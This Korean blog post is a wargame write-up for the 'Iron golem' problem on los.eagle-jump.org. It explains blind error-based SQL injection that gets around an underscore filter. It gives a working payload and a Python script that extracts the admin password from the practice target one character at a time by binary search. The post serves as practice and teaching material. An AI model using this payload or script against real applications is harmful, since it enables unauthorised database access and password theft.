White Security
Iron golem 문제풀이 본문
los.eagle-jump.org 21번 문제입니다.
첫번째 쿼리의 실행 결과를 보여주지 않는 대신에
mysql_error 함수를 통해 에러 메시지를 출력해 줍니다.
Error based SQL Injection 문제라는 것이죠.
그렇지만 '_' 문자가 필터링되기에
흔히 사용되는 group_by, const_name 는 물론이고
Mysql 5.1 버전부터 지원되는
Updatexml, Extractvalue 또한 사용이 불가능합니다.
따라서 저는
Blind Error based SQL Injection 을 사용하여 문제를 해결했습니다.
pw='+or+if(1=1,1,(select+1+union+select+2))--+-
IF 문의 조건식이 참이면 1
거짓이면 (SELECT 1 UNION SELECT 2) 을 반환하는 식입니다.
따라서 거짓인 상황이 되면
Subquery returns more than 1 row
위와 같은 오류를 뿜으며 죽어버리는 것이지요.
이러한 특성을 이용해 인젝션을 시도할 수 있습니다.
from urllib import request, parse, error
import math, sys
def check_true(response): return ( len(response) >= 3000 );
def if_query(query):
url = 'https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?pw=' \
+ parse.quote("' or id='admin' and if(" + query + ',1,(select 1 union select 2))#')
req = request.Request(url)
req.add_header('Cookie', 'PHPSESSID=bffoqib7ifvor1u7qv0q2vfjh0')
req.add_header('user-agent', 'Mozilla/5.0')
response = None
while response is None:
try:
response = request.urlopen(req).read()
except error.URLError:
pass
return check_true(response)
def check_greater_than(query, val):
return if_query(query + '>=' + str(val))
def find_char(query):
first = 0
last = 129
while first < last - 1:
mid = math.floor((first + last) / 2)
if check_greater_than(query, mid):
first = mid
else:
last = mid
return chr(first)
def get_content(name):
name = '(' + name + ')'
content_len = 4;
content = ''
if content_len == 0:
sys.stdout.write('Invalid request\n')
return ''
for idx in range(1, content_len + 1):
content += find_char('ord(substr(' + name + ', ' + str(idx) + ', 1))')
sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content)))
sys.stdout.write('\n%s\n' % parse.quote(content))
return content
content = get_content('pw')문자열에 널바이트가 들어있는 건지 모르겠는데
length(pw) 값이 이상하게 나오기에 부득이 하게 하드코딩 했습니다.
'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글
| Dark eyes 문제풀이 (0) | 2019.01.31 |
|---|---|
| Dragon 문제풀이 (0) | 2019.01.31 |
| Xavis 문제풀이 (0) | 2019.01.31 |
| Nightmare 문제풀이 (0) | 2019.01.31 |
| Succubus 문제풀이 (0) | 2019.01.31 |
Comments